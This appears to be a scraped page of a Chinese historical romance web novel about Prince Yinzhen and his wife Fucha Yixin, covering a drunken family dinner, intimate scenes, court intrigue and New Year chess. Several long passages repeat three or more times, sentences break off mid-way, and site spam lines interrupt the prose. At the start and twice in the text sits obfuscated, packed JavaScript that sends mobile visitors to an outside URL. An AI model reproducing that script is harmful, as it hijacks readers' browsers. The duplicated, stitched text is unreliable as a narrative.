;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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胤禛感觉他的脑袋不是自己的,大抵是真的有点醉了,耷拉着眼睛,看着她从小长大的地方都有些重影。 她在富察府长了好多好多年。 “之前旁人若是频频劝酒,福晋处处都替本王拦着,怎么每次遇到你的父兄,福晋就对本王不管不顾,任由他们欺负本王?” 在云端。 胤禛:…… 晚间下起了小雪,苍翠的松柏间残雪覆新雪,挺拔的枝干似乎不堪重负般滑落残雪,值得高兴的是,今晚还有月亮。 胤禛只在富察府用过几次膳,次次都被灌得厉害,只不过,他向来是四平八稳的性子,纵使薄醉,也能不露声色,悄声退出膳厅,催吐后再继续喝。 晚膳用了一个时辰。 回到嫖姚院后,胤禛才露了醉态,朦胧眯着桃花眼,解落寝衣,半赤裸着冷白色的胸膛,慵懒倚在仪欣粉润润的床榻间。 仪欣接过苏培盛端来的醒酒汤,拉了拉胤禛的寝衣,“王爷,喝了醒酒汤再睡。” 胤禛看了仪欣一眼,背过身去,“不喝。” 仪欣凑近些,瀑布般的墨发垂落在他的膝头,簌簌绕在他玄色寝衣上,也遮掩着她颈间倾泻的缕缕春光。 “可是都熬好了。” “熬好了也不喝。”胤禛淡声道。 苏培盛见状悄声退下,将醒酒汤一并带出去,王爷似乎真的有些生气,他清楚,这个时候绝不能触王爷的眉头。 王爷平日性子温和,内里却是狠辣薄情的,不知是何事触了眉头。 “啊?你怎么啦?”仪欣爬上床榻,越过他的身体,跟他脸对脸,凑近小声询问。 胤禛垂着眼,只觉得脑袋跟撞了城墙一般闷闷疼,怕酒气熏到她,他抬腕把她扒拉远一些。 仪欣蹑手蹑脚锲而不舍凑上来,温言软语似小动物的爪子般轻蹭他的心间,一遍遍亲吻他的耳朵,超小声哄着问,“胤禛…珍珍…你怎么啦?是不是喝太多酒了,不舒服呀?” 胤禛闷声冷漠轻哼,又转过身去不看她。 “原来福晋知道本王喝了很多酒。” 胤禛感觉他的脑袋不是自己的,大抵是真的有点醉了,耷拉着眼睛,看着她从小长大的地方都有些重影。 她在富察府长了好多好多年。 “之前旁人若是频频劝酒,福晋处处都替本王拦着,怎么每次遇到你的父兄,福晋就对本王不管不顾,任由他们欺负本王?” 在云端。 胤禛:…… 晚间下起了小雪,苍翠的松柏间残雪覆新雪,挺拔的枝干似乎不堪重负般滑落残雪,值得高兴的是,今晚还有月亮。 胤禛只在富察府用过几次膳,次次都被灌得厉害,只不过,他向来是四平八稳的性子,纵使薄醉,也能不露声色,悄声退出膳厅,催吐后再继续喝。 晚膳用了一个时辰。 回到嫖姚院后,胤禛才露了醉态,朦胧眯着桃花眼,解落寝衣,半赤裸着冷白色的胸膛,慵懒倚在仪欣粉润润的床榻间。 仪欣接过苏培盛端来的醒酒汤,拉了拉胤禛的寝衣,“王爷,喝了醒酒汤再睡。” 胤禛看了仪欣一眼,背过身去,“不喝。” 仪欣凑近些,瀑布般的墨发垂落在他的膝头,簌簌绕在他玄色寝衣上,也遮掩着她颈间倾泻的缕缕春光。 “可是都熬好了。” “熬好了也不喝。”胤禛淡声道。 苏培盛见状悄声退下,将醒酒汤一并带出去,王爷似乎真的有些生气,他清楚,这个时候绝不能触王爷的眉头。 王爷平日性子温和,内里却是狠辣薄情的,不知是何事触了眉头。 “啊?你怎么啦?”仪欣爬上床榻,越过他的身体,跟他脸对脸,凑近小声询问。 胤禛垂着眼,只觉得脑袋跟撞了城墙一般闷闷疼,怕酒气熏到她,他抬腕把她扒拉远一些。 仪欣蹑手蹑脚锲而不舍凑上来,温言软语似小动物的爪子般轻蹭他的心间,一遍遍亲吻他的耳朵,超小声哄着问,“胤禛…珍珍…你怎么啦?是不是喝太多酒了,不舒服呀?” 胤禛闷声冷漠轻哼,又转过身去不看她。 “原来福晋知道本王喝了很多酒。” 胤禛感觉他的脑袋不是自己的,大抵是真的有点醉了,耷拉着眼睛,看着她从小长大的地方都有些重影。 她在富察府长了好多好多年。 “之前旁人若是频频劝酒,福晋处处都替本王拦着,怎么每次遇到你的父兄,福晋就对本王不管不顾,任由他们欺负本王?” 第140章酒后 “但是,我的兄长和阿玛还有叔父都被王爷灌醉了呀。” 仪欣话还没说完,胤禛撑着床榻坐起来,双指掩住她的樱唇,将憨乎乎的话堵在她的嘴里。 他眼睛黑漆漆的,微微下垂,带着酒后独特的雾蒙蒙和绯红,他轻笑一声,“嗯,是,本王故意灌他们,他们一群人轮流敬本王,自己不胜酒力还要说本王灌他们。” 被他灌醉了? 明明是他们一起灌他,顺便喝多了。 富察氏怎么这么多男人,他在富察府用个便饭,十几个男儿作陪,轮番敬酒,次次跟商量好似的。 偏偏她还憨乎乎的,巧言盼兮散落在不知多少个人身上,人人都要关注关怀,连傅清爱吃什么菜都记得,就是不看看他。 都好多次了。 “王爷,唔…是吗?”仪欣很认真回忆着。 “是,但凡仪欣心疼本王,就该知道。” 胤禛不想听她说话,捂住她的唇,就斜倚着床榻慢慢喘气,头疼得发胀,他从出生到现在没喝过这么多酒。 仪欣蹭蹭他的寝衣,又摸摸他的腰,含含糊糊溢出话来哄他,急得舔了舔他的掌心,哎呀,赶紧别捂着她了啊。 胤禛被她烫得局促收回手来,轻嗤一声,“小狗一样。” 仪欣脑袋转得飞快,也想不出什么话来哄他,哼唧凑近他撒娇说:“我刚刚一直跟额娘请教绣样子,没顾得上王爷,我下次肯定会注意的。” “什么绣样子?”胤禛瞥了搭在自己胸膛上毛茸茸的小脑瓜一眼,轻哼问。 “给王爷做的寝衣哇,这几天回来,我不光是为了阿玛商量山西善堂的事,还是为了跟额娘和陈嬷嬷讨教女工。”仪欣下巴搭在他的胸膛上,圆溜溜的眼睛跟他对视。 原来是为了给他做寝衣。 那好吧。 算了,总归是为了给他绣寝衣。 “我想看看寝衣。”胤禛别扭说。 “好!”仪欣下床,张罗着晴云把寝衣拿过来,在外间朝苏培盛使眼色,赶紧把醒酒汤端进去。 苏培盛哈腰,乐颠颠将醒酒汤端进去。 胤禛淡淡看一眼苏培盛,没说别的话,自己端着醒酒汤一饮而尽。 仪欣亲自端着红色楠木托盘,站在床头笑眯眯 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 看着胤禛“看吧看吧这是我做的第一件寝衣。” 玄色寝衣整齐叠在托盘上。 “还没有绣任何花样王爷先试穿一下吧。” 胤禛坐起身来先张开胳膊抱了抱她又轻轻摸了摸绵软的寝衣指腹触碰到细密却有些不规律的针脚。 沉沉的脑袋轻轻贴了贴仪欣的侧脸小声道:“一身酒气先不试了免得弄脏了。” 仪欣一愣凑上去黏糊糊亲吻他粉润润的唇角酒气残留在上面似乎还有些醇香甘甜。 胤禛眯着眼把她推开嘟囔解释一句:“不好闻。” “好闻王爷怎么样都好闻。”仪欣赶紧趁热打铁哄他说“阿玛和哥哥们太过分了怎么都欺负王爷我明天就去批评他们。” “富察仪欣是个小马后炮。”胤禛轻哼又温和弯了弯眼睛。 “不用绣花样这样就很好。” “王爷今晚可真辛苦。”仪欣把寝衣放到一边抱住他的腰 做不做的先许下再说。 胤禛愉悦轻笑揪了揪她的耳朵“指望着仪欣的寝衣本王可能会夜夜裸着睡。” 仪欣超小声附和:“那也行。” 胤禛突然很燥热轻轻推开她“我再去沐浴一次不许胡说八道。” * 富察府荣熙院。 钮祜禄氏端着一碗醒酒汤轻轻放在马齐身边温柔却不赞成道:“老爷何必带着文儿他们灌四爷喝这么多酒小酌怡情大酌伤身虽是高兴但四爷毕竟是天潢贵胄若是喝出个好歹来可如何是好?” “晚膳间光是陈嬷嬷就见到四爷催吐了三回实在是不应该。” 马齐大口喝完醒酒汤盘着腿揉了揉脑袋轻哼道:“老夫就是故意的。” “这是为何?”钮祜禄氏温声问温柔替马齐揉着太阳穴。 马齐 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仪欣将被衾拉得很高,只露着一双明亮又漂亮的眼睛,温软看着他,小脸红扑扑的。 “王爷,我闻闻你现在香不香。” 胤禛覆在她身上,撑着手臂,伏低身子,声音低沉又带着笑意道:“好啊,你闻闻吧。” 仪欣鼻尖动了动,手臂缠上他的腰。 “香。”她肯定道。 胤禛低低笑出声来,把她搂到怀里拍了拍,“睡觉吧,乖乖。” 他酒醒得差不多了,想到刚刚说的话,竟是有点苦笑,也真是醉迷糊了,还做上跟她父兄拈酸吃醋的事情了。 夜很静谧,仪欣陷在软乎乎的被衾里,轻轻蹭了蹭他的胸膛。 满室熟悉的馨香,仪欣浸在松松软软的踏实感里,但是,她又很久没在家中居住了,竟然还有些陌生感。 “王爷,你…”仪欣纠结一下措辞,小声说,“你有没有觉得现在也很刺激?也很陌生?” 第141章万言万当,不如一默 胤禛慢慢睁开眼,“怎么整日跟偷情似的呢?嗯?” “哪有!我只是觉得,每一天都有新鲜的感觉。”仪欣声音很轻。 胤禛喉咙有点干涩,低头亲了亲她的脑袋,“嗯,我也是。明晚回府…陪我…好不好?” 仪欣害羞得超小声:“今晚也可以。” “今晚不行。”胤禛安抚地抱紧她,也压抑一下自己。 今晚是真喝醉了,没轻没重别伤了她。 况且,在富察府,没有药膏,他害怕出问题。 “好吧…那我要趴在王爷身上睡。” “来吧。” 次日清晨。 胤禛和仪欣如常到膳厅用早膳。 仪欣环顾四周,纳闷问:“三哥呢?怎么不跟我用早膳。” 马齐冷哼:“傻小子没出息,喝得太多,醉得起不来。” 胤禛低头垂眸。 昨晚用膳,马齐和马武给他倒酒,给他敬酒,他于情于理都不能不喝,但是,他不会吃亏,捎带着灌醉了好几个。 傅辙醉得最厉害。 仪欣不满意,她又不经常回来用膳,三哥还喝得这么多,不能陪她一起用早膳。 “三哥也真是的,干嘛喝这么多。”仪欣轻哼。 转而目光炯炯盯着马齐,直接问:“阿玛,你昨晚为什么要灌王爷喝酒?他昨晚可不舒服了!” “啊?没…没有啊…”马齐讪笑,解释说,“这不是你回来了吗,阿玛高兴…跟王爷多喝两杯。” “真的只是高兴吗?”仪欣怀疑的小眼神泄露些不满。 傅文低头笑,对着胤禛轻啧又笑着轻叹,胤禛无辜耸肩。 “真的,阿玛说的话,你都不信了吗?”马齐找补问,“阿玛跟女婿多喝两杯,于情于理,哪里算错?” “那好吧,下次不允许了。”仪欣点头放过,拉着胤禛的手拍了拍,让他放心,不会被欺负了。 马齐连连应声:“欸!放心吧!” 仪欣这才满意,朝马齐推了推他爱吃的豆腐皮包子。 马齐乐呵呵夹一筷子,吃着就有些不安乐,暗暗揣度,若是他跟四爷同时掉水里,闺女先救哪个呢? 用过早膳。 胤禛要入宫去画昨日的画,仪欣又玩了一会儿,陪钮祜禄氏和婶母们叙话,用过午膳便回了雍亲王府。 毓庆宫里,年氏“有孕”已满五个月,康熙怀疑一些不清白的事情,将弘皙叫到乾清宫问话,胤禛在一旁喝茶。 康熙那是多么深沉又掌控一切的人,那锐利的丹凤眼一扫弘皙,便能看出弘皙的紧张和局促。 弘皙总归也是他亲自养大的孩子。 尽管弘皙面色如常,将早已准备好的说辞滴水不漏阐述清楚,康熙还是沉默了一会儿,照常给年氏赏赐了些好的药材。 弘皙高兴跪地谢恩。 皇玛法再喜爱他,再偏疼他,也不如阿玛亲近。 弘皙对于康熙的问话,早已跟太子商议确认了千万遍,见康熙赏赐年氏安胎药材,不免得高兴些,以为康熙不再怀疑年氏这一胎的真假。 他欣然抬头,却对上胤禛意味深长的目光。 “四叔…”弘皙不由自主打招呼。 胤禛看了看康熙风平浪静的神情,缓缓放下手中茶盏,含笑点拨道:“弘皙,万言万当,不如一默,有些话,你不说出口,总归你就还是那些话的主人。” 弘皙后背一阵发凉,起身拱手行礼:“侄儿多谢四叔指点。” 胤禛随意抬手示意他免礼。 康熙沉声道:“弘皙跪安吧。” “是,孙儿告退。”弘皙跪地行大礼,直到回到毓庆宫,还在揣摩胤禛话中深意。 乾清宫里,康熙面沉如水,冷冽看向胤禛,不满道:“你点拨他做什么?他一个乳臭未干的毛头小子,也敢在朕面前撒谎打诨,拿那套滴水不漏的东西喂给朕。” 弘皙刚刚话太多,将年枝孕期情况说的滴水不漏,处处妥帖,太真实反而虚假。 所以,胤禛道,万言万当,不如一默。 有些话说出来,不是弘皙能够主宰得了的。 胤禛起身给康熙倒茶,温声道:“弘皙总归也是儿子看着长大的,不过是想递个话给二哥罢了。” “只有你,还对他心存善念,朕看他勾结年羹尧,早已不顾爱新觉罗氏的江山社稷。”康熙冷淡凝视着御书房的匾额。 胤禛回府时已近黄昏。 仪欣不打算给寝衣绣什么花纹,整理好寝衣,晚膳 过后便拉着胤禛去试试。 胤禛很高兴,任由她为兴致勃勃为自己更衣。 寝衣非常合身,没有任何花样,朴素得不像是亲王所穿,但是布料很绵软舒适。 胤禛摸了摸袖口领口,轻声道:“好看,我很喜欢。” “真好看,我真是心灵手巧!”仪欣感慨夸赞自己,她第一次做,就这么成功。 仪欣和胤禛都是容易知足的人,两个人温情脉脉对视一小会儿,胤禛捏着她的下巴吻上去。 仪欣纤细白皙的手臂搭在他的脖颈后,娇娇柔柔想让他抱着去沐浴,胤禛停下来,单手解落寝衣扣子。 “把寝衣换了再去。” “穿着吧,好看!” “别,免得弄脏了。”胤禛还是脱下来,顺手叠好放在托盘上。 汤池里,仪欣娇弱趴在胤禛冷白的胸膛上,他的颈窝里有残存的丝丝红痕,仪欣小脸红晕万千。 许久不曾有过,但是,她时常玩闹,红/痕总是新旧交错,如梅子黄时雨般没有断绝。 “王爷,要回床榻。” 胤禛将她抵在汤池白玉壁上,粗喘着气,轻声哄道:“其实,这里,水里,也可以。” 仪欣眼里起了晕晕然的水雾,感受到他的不同寻常,笨拙推了推他的胸膛,“我害怕这里。” “好,先回寝殿,天暖和些再试试。”胤禛嗓子哑了。 胤禛无有不应,将仪欣抱在身前,一只手护在她的脑后,任由她的双腿缠在他的腰上,大步往寝殿走。 轻轻柔柔将仪欣放在床榻上,解落帷幔,胤禛摸了摸床头暗格里的药膏,修长冷白的手覆盖在她过分魅惑的眼睛上,俯身吻了下去。 “王爷…” “嗯?再叫,乖乖。” 过后便拉着胤禛去试试。 胤禛很高兴,任由她为兴致勃勃为自己更衣。 寝衣非常合身,没有任何花样,朴素得不像是亲王所穿,但是布料很绵软舒适。 胤禛摸了摸袖口领口,轻声道:“好看,我很喜欢。” “真好看,我真是心灵手巧!”仪欣感慨夸赞自己,她第一次做,就这么成功。 仪欣和胤禛都是容易知足的人,两个人温情脉脉对视一小会儿,胤禛捏着她的下巴吻上去。 仪欣纤细白皙的手臂搭在他的脖颈后,娇娇柔柔想让他抱着去沐浴,胤禛停下来,单手解落寝衣扣子。 “把寝衣换了再去。” “穿着吧,好看!” “别,免得弄脏了。”胤禛还是脱下来,顺手叠好放在托盘上。 汤池里,仪欣娇弱趴在胤禛冷白的胸膛上,他的颈窝里有残存的丝丝红痕,仪欣小脸红晕万千。 许久不曾有过,但是,她时常玩闹,红/痕总是新旧交错,如梅子黄时雨般没有断绝。 “王爷,要回床榻。” 胤禛将她抵在汤池白玉壁上,粗喘着气,轻声哄道:“其实,这里,水里,也可以。” 仪欣眼里起了晕晕然的水雾,感受到他的不同寻常,笨拙推了推他的胸膛,“我害怕这里。” “好,先回寝殿,天暖和些再试试。”胤禛嗓子哑了。 胤禛无有不应,将仪欣抱在身前,一只手护在她的脑后,任由她的双腿缠在他的腰上,大步往寝殿走。 轻轻柔柔将仪欣放在床榻上,解落帷幔,胤禛摸了摸床头暗格里的药膏,修长冷白的手覆盖在她过分魅惑的眼睛上,俯身吻了下去。 “王爷…” “嗯?再叫,乖乖。” 过后便拉着胤禛去试试。 胤禛很高兴,任由她为兴致勃勃为自己更衣。 寝衣非常合身,没有任何花样,朴素得不像是亲王所穿,但是布料很绵软舒适。 胤禛摸了摸袖口领口,轻声道:“好看,我很喜欢。” “真好看,我真是心灵手巧!”仪欣感慨夸赞自己,她第一次做,就这么成功。 仪欣和胤禛都是容易知足的人,两个人温情脉脉对视一小会儿,胤禛捏着她的下巴吻上去。 仪欣纤细白皙的手臂搭在他的脖颈后,娇娇柔柔想让他抱着去沐浴,胤禛停下来,单手解落寝衣扣子。 “把寝衣换了再去。” “穿着吧,好看!” “别,免得弄脏了。”胤禛还是脱下来,顺手叠好放在托盘上。 汤池里,仪欣娇弱趴在胤禛冷白的胸膛上,他的颈窝里有残存的丝丝红痕,仪欣小脸红晕万千。 许久不曾有过,但是,她时常玩闹,红/痕总是新旧交错,如梅子黄时雨般没有断绝。 “王爷,要回床榻。” 胤禛将她抵在汤池白玉壁上,粗喘着气,轻声哄道:“其实,这里,水里,也可以。” 仪欣眼里起了晕晕然的水雾,感受到他的不同寻常,笨拙推了推他的胸膛,“我害怕这里。” “好,先回寝殿,天暖和些再试试。”胤禛嗓子哑了。 胤禛无有不应,将仪欣抱在身前,一只手护在她的脑后,任由她的双腿缠在他的腰上,大步往寝殿走。 轻轻柔柔将仪欣放在床榻上,解落帷幔,胤禛摸了摸床头暗格里的药膏,修长冷白的手覆盖在她过分魅惑的眼睛上,俯身吻了下去。 “王爷…” “嗯?再叫,乖乖。” 过后便拉着胤禛去试试。 胤禛很高兴,任由她为兴致勃勃为自己更衣。 寝衣非常合身,没有任何花样,朴素得不像是亲王所穿,但是布料很绵软舒适。 胤禛摸了摸袖口领口,轻声道:“好看,我很喜欢。” “真好看,我真是心灵手巧!”仪欣感慨夸赞自己,她第一次做,就这么成功。 仪欣和胤禛都是容易知足的人,两个人温情脉脉对视一小会儿,胤禛捏着她的下巴吻上去。 仪欣纤细白皙的手臂搭在他的脖颈后,娇娇柔柔想让他抱着去沐浴,胤禛停下来,单手解落寝衣扣子。 “把寝衣换了再去。” “穿着吧,好看!” “别,免得弄脏了。”胤禛还是脱下来,顺手叠好放在托盘上。 汤池里,仪欣娇弱趴在胤禛冷白的胸膛上,他的颈窝里有残存的丝丝红痕,仪欣小脸红晕万千。 许久不曾有过,但是,她时常玩闹,红/痕总是新旧交错,如梅子黄时雨般没有断绝。 “王爷,要回床榻。” 胤禛将她抵在汤池白玉壁上,粗喘着气,轻声哄道:“其实,这里,水里,也可以。” 仪欣眼里起了晕晕然的水雾,感受到他的不同寻常,笨拙推了推他的胸膛,“我害怕这里。” “好,先回寝殿,天暖和些再试试。”胤禛嗓子哑了。 胤禛无有不应,将仪欣抱在身前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343266|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一只手护在她的脑后,任由她的双腿缠在他的腰上,大步往寝殿走。 轻轻柔柔将仪欣放在床榻上,解落帷幔,胤禛摸了摸床头暗格里的药膏,修长冷白的手覆盖在她过分魅惑的眼睛上,俯身吻了下去。 “王爷…” “嗯?再叫,乖乖。” 过后便拉着胤禛去试试。 胤禛很高兴,任由她为兴致勃勃为自己更衣。 寝衣非常合身,没有任何花样,朴素得不像是亲王所穿,但是布料很绵软舒适。 胤禛摸了摸袖口领口,轻声道:“好看,我很喜欢。” “真好看,我真是心灵手巧!”仪欣感慨夸赞自己,她第一次做,就这么成功。 仪欣和胤禛都是容易知足的人,两个人温情脉脉对视一小会儿,胤禛捏着她的下巴吻上去。 仪欣纤细白皙的手臂搭在他的脖颈后,娇娇柔柔想让他抱着去沐浴,胤禛停下来,单手解落寝衣扣子。 “把寝衣换了再去。” “穿着吧,好看!” “别,免得弄脏了。”胤禛还是脱下来,顺手叠好放在托盘上。 汤池里,仪欣娇弱趴在胤禛冷白的胸膛上,他的颈窝里有残存的丝丝红痕,仪欣小脸红晕万千。 许久不曾有过,但是,她时常玩闹,红/痕总是新旧交错,如梅子黄时雨般没有断绝。 “王爷,要回床榻。” 胤禛将她抵在汤池白玉壁上,粗喘着气,轻声哄道:“其实,这里,水里,也可以。” 仪欣眼里起了晕晕然的水雾,感受到他的不同寻常,笨拙推了推他的胸膛,“我害怕这里。” “好,先回寝殿,天暖和些再试试。”胤禛嗓子哑了。 胤禛无有不应,将仪欣抱在身前,一只手护在她的脑后,任由她的双腿缠在他的腰上,大步往寝殿走。 轻轻柔柔将仪欣放在床榻上,解落帷幔,胤禛摸了摸床头暗格里的药膏,修长冷白的手覆盖在她过分魅惑的眼睛上,俯身吻了下去。 “王爷…” “嗯?再叫,乖乖。” 过后便拉着胤禛去试试。 胤禛很高兴,任由她为兴致勃勃为自己更衣。 寝衣非常合身,没有任何花样,朴素得不像是亲王所穿,但是布料很绵软舒适。 胤禛摸了摸袖口领口,轻声道:“好看,我很喜欢。” “真好看,我真是心灵手巧!”仪欣感慨夸赞自己,她第一次做,就这么成功。 仪欣和胤禛都是容易知足的人,两个人温情脉脉对视一小会儿,胤禛捏着她的下巴吻上去。 仪欣纤细白皙的手臂搭在他的脖颈后,娇娇柔柔想让他抱着去沐浴,胤禛停下来,单手解落寝衣扣子。 “把寝衣换了再去。” “穿着吧,好看!” “别,免得弄脏了。”胤禛还是脱下来,顺手叠好放在托盘上。 汤池里,仪欣娇弱趴在胤禛冷白的胸膛上,他的颈窝里有残存的丝丝红痕,仪欣小脸红晕万千。 许久不曾有过,但是,她时常玩闹,红/痕总是新旧交错,如梅子黄时雨般没有断绝。 “王爷,要回床榻。” 胤禛将她抵在汤池白玉壁上,粗喘着气,轻声哄道:“其实,这里,水里,也可以。” 仪欣眼里起了晕晕然的水雾,感受到他的不同寻常,笨拙推了推他的胸膛,“我害怕这里。” “好,先回寝殿,天暖和些再试试。”胤禛嗓子哑了。 胤禛无有不应,将仪欣抱在身前,一只手护在她的脑后,任由她的双腿缠在他的腰上,大步往寝殿走。 轻轻柔柔将仪欣放在床榻上,解落帷幔,胤禛摸了摸床头暗格里的药膏,修长冷白的手覆盖在她过分魅惑的眼睛上,俯身吻了下去。 “王爷…” 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她不知道该怎么半,委屈又无措抱怨着。 “王爷。” 仪欣泛起细细的汗珠,肌肤漫起娇气的粉红,轻喘着含泪看着胤禛,委屈巴巴要亲吻。 “很棒,乖乖,”胤禛奖励般啄吻她的唇,温声一遍遍说她爱听的表扬她的话。 “王爷,你.你怎么知道我爱听什么,太讨厌了。” “因为,这里,你是我养大的。” 直到她得趣,胤禛枕着手臂躺下,任由她委屈巴巴坐着。 “嗯?珍珍?”胤禛揶揄尾音上挑。 “王爷,我不叫珍珍了!真的不叫了。” “没关系,本王爱听。” “你骗人!!!” 仪欣哽咽抱怨,胤禛运筹帷幄看着仪欣,主动将修长有力的手摊开在她面前,引导着她握住他的手。 “王爷,我有些想掉眼泪,都怪你。” “为什么呢?因为难受吗?”胤禛探了探她的额头,停下来。 “不是,因为好喜欢你,就是觉 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 得心里满满的想掉眼泪,有时候也会有些怀疑,如果没有你,我成亲之后还会不会有这么自由温暖的生活。” 仪欣温软趴到他身上,呜呜噎噎竟是把自己说得泪流满面,当然也不排除某个人使坏。 “傻话,我的小乖跟谁在一起都会拥有很好的生活,都最值得疼爱。”只是,他只有和富察仪欣在一起才会幸福。 胤禛不想她因为心里难过掉眼泪,温声哄了她一刻钟,低头亲吻她的眼睛和角角落落,轻声许诺,“我会把仪欣养的很好。” 仪欣抱怨吃饭很累。 “那本王的娇气包选个吧。” “没有不累的…”仪欣毛茸茸地拱到他的颈窝里。 胤禛偏头在她耳边低笑,又亲了亲,“那没得选。” 说完,他轻笑着……,薄唇轻启等待着她来亲吻。 一个时辰。 胤禛抱着仪欣沐浴后换到偏殿睡觉,正殿床榻今夜不宜睡人;还好他换掉了寝衣,不然任由她胡作非为,就要弄脏了。 他半蹲着耐心替熟睡的妻子抹药膏,同时在思索两个问题。 只是,为什么不能跟她一直连着呢? 她怎么这般惹人喜爱? 次日清晨。 如同小狮子般炸毛的仪欣懵懵然坐起来,委屈揉了揉腰又捏了捏腿。 下一秒,一双温热干燥的手代替她使不上力气的手腕替她揉捏,仪欣气恼拍掉他的手。 “王爷,我们怎么睡在这里?” 胤禛揽着她重新躺下,轻声调侃:“因为,从前有个***…” 仪欣双腿绵软无力,蹬到他的腰上,“啊啊啊!!!不许说。” 想起来了,都想起来了。 王爷太过分了,太过分了。 他真的欺负她,言而无信,还会哄不会停。 胤禛愉悦低笑,胸膛微微波澜般震颤,配合她轻飘飘的力气还翻了个身,装作被她踢动的模样,下一秒就将仪欣连人带被衾都薅到怀里抱紧了。 “昨夜小仪欣不是这么说的,需要本王提供背诵复述服务吗?” 她最有趣,整日嚷嚷着吃不饱饭的是她,掀桌闹着不好好吃饭的也是她。 “我不听,王爷闭 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 嘴!!!!” 仪欣咬一下他的唇珠,表示他不能再出声说话了。 胤禛配合着安静下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354893|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,愉悦摆弄她炸毛的头发,又体贴替她按摩揉捏腰肢。 然后,怀里这只心大的,又睡着了。 胤禛半睡半醒眯着眼,手上仍是替她按摩着,顺其自然陪她赖一会儿床。 * 胤禛在乾清宫作完一幅画,便再没有去侍奉过。 转眼便来到了除夕。 仪欣照例晨起时先要抱抱,温香软玉窝在胤禛怀里欣然跟他说:“除夕快乐哇,胤禛!” “除夕快乐,我的仪欣。” 胤禛单手抱起她,两个人一同用早膳,大方打赏府中上下。 因为晚膳会在宫中用,仪欣给府中上下赐了丰盛晚膳,让他们不必伺候。 他陪着仪欣在王府里闲逛,看她吩咐下人们需要补充装扮哪些角角落落,一草一木都会被她妥帖关怀。 明明是冬日,温暖却如泉水般流淌过四肢百骸。 “冷不冷?”胤禛温声问。 “不冷。”仪欣摇摇头,还塞了塞兔毛领,她穿得鼓鼓囊囊的。 胤禛笑笑,指腹摩挲他腰带的玉环,不一样,她从前很容易说冷,无论春夏秋冬,总会冷不丁冒出一句抱怨的呢喃,说好冷。 他这两年习惯性翻翻医书,才知道她是潮,是虚弱,不是真的冷。 如今,不一样了。 胤禛和仪欣总是提早一个时辰入宫,最早给康熙请安。 老八给姚虞请了病假,他早早入宫侍奉良妃。 乾清宫,康熙看着眼巴巴的两个人,额角跳了跳。 梁九功便是康熙心意的外化,熟稔又恭敬给康熙递上红封。 康熙拿给仪欣一个,又扔给胤禛一个,冷哼道:“朕这一年不知要补贴你们多少银两,民间都道养儿防老,朕倒是越老越养儿。” 仪欣娇憨偏头,古灵精怪反驳道:“皇阿玛怎么会老,儿臣就看着皇阿玛一年比一年年轻。” 胤禛点头,附和个“嗯”字。 康熙笑呵呵指了指梁九功,梁九功赶忙又递上一个红封,康熙转手给了仪欣。 仪欣惊喜接过红封,抿唇笑弯了眼睛:“谢谢皇阿玛!” 胤禛看着她可爱明媚的模样,默不作声将康熙刚给他的红封也交给她。 “新的一年可曾下棋吗?”康熙慈爱问,他还记得之前输给富察氏。 “有啊有啊,我阿玛都下不过我了。”仪欣信心满满应和。 第143章年枝和莫雅琪的身孕 若说康熙对谁胜负欲最强那肯定是富察马齐。 之前在朝堂上跟他打架如今还跟他抢儿子。 “来陪朕手谈两局。”康熙起了兴致又指了指胤禛“你在你福晋身后坐着不许说话。” 仪欣欣然接受温言软语道:“请皇阿玛赐教。” 胤禛淡淡“嗯”了一声。 可喜的是仪欣真的和康熙下得有来有往胤禛的教学方式很粗暴就是让她一遍遍跟他下棋体会每一处落子的精妙之处他从来不让着她却也不藏拙欺骗她。 “啊皇阿玛我输了。” “小小年纪有大将之风。” “多谢皇阿玛夸奖。”仪欣抿唇笑她虽然输了也输得很开心。 胤禛垂眸默不作声给康熙递过去两张五两的银票康熙目瞪口呆询问这是干什么? 仪欣解释:“皇阿玛这是我下棋输给皇阿玛的银票皇阿玛快收下吧。” 康熙无语接过银票没什么威仪轻斥一句:“下棋这么高雅的事情怎么被你们搞得一身铜臭气?” 仪欣腼腆道:“儿臣喜欢铜臭。” 胤禛诚恳附和:“儿臣也喜欢。” 康熙哈哈大笑一个两个的都这般财迷他饶有兴味收起十两银子见时间还早便让胤禛陪他下棋“这一局就算一百两银子。” “没带这么多。” “别装朕给你的压岁钱够你输一天一夜了。” 康熙豪迈扔了扔棋子漆黑深沉的眸子注视着棋局老谋深算背后第一次有些纯粹的对铜臭的渴望下棋变得有趣起来。 仪欣观棋不语但是憋得难受只是下个棋而已她也跟着激动。 平时跟胤禛下棋她就是个撒娇打诨的小话痨她此时拨弄着胤禛的佛珠偶尔激动的轻轻拉拽像是要引人注意的小猫。 胤禛余光关注着她将左手递出去一些让身后的她牵着随口主动跟康熙分享些种地的小事康熙听的津津有味 乾清宫气氛霎时温馨起来。 各位皇子到乾清宫请安时正赶上康熙输完一局梁九功给胤禛拿银票。 康熙吹胡子瞪眼看着 